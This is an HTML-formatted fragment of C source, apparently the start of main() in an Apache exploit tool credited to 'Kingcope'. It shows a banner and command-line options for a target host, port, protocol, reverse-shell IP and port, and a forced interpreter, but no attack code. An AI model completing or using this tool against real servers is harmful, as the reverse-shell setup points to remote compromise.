<DIV class="line number267 index266 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">void main(int argc, char *argv[])</DIV>

<DIV class="line number268 index267 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">{</DIV>

<DIV class="line number269 index268 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;char *target, *protocol, *targetip, *writestr, *tmpstr, *readbuf=NULL,</DIV>

<DIV class="line number270 index269 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;*interpreter, *reverseip, *reverseportstr, *forceinterpreter=NULL;</DIV>

<DIV class="line number271 index270 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;char httpsflag=0;</DIV>

<DIV class="line number272 index271 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;unsigned short port=0, reverseport=0;</DIV>

<DIV class="line number273 index272 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;struct sockaddr_in *server;</DIV>

<DIV class="line number274 index273 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;int sockfd;</DIV>

<DIV class="line number275 index274 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;unsigned int writesize, tmpsize;</DIV>

<DIV class="line number276 index275 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;unsigned int i;</DIV>

<DIV class="line number277 index276 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;connection *sslconnection;</DIV>

<DIV class="line number278 index277 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;printf("-== Apache Magika by Kingcope ==-\n");</DIV>

<DIV class="line number279 index278 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;for(;;)</DIV>

<DIV class="line number280 index279 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;{</DIV>

<DIV class="line number281 index280 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int c;</DIV>

<DIV class="line number282 index281 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int option_index=0;</DIV>

<DIV class="line number283 index282 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static struct option long_options[] = {</DIV>

<DIV class="line number284 index283 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{"target", required_argument, 0, 0 },</DIV>

<DIV class="line number285 index284 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{"port", required_argument, 0, 0 },</DIV>

<DIV class="line number286 index285 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{"protocol", required_argument, 0, 0 },</DIV>

<DIV class="line number287 index286 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{"reverse-ip", required_argument, 0, 0 },</DIV>

<DIV class="line number288 index287 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{"reverse-port", required_argument, 0, 0 },</DIV>

<DIV class="line number289 index288 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{"force-interpreter", required_argument, 0, 0 },&nbsp;&nbsp;&nbsp; </DIV>

<DIV class="line number290 index289 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0, 0, 0, 0 }</DIV>

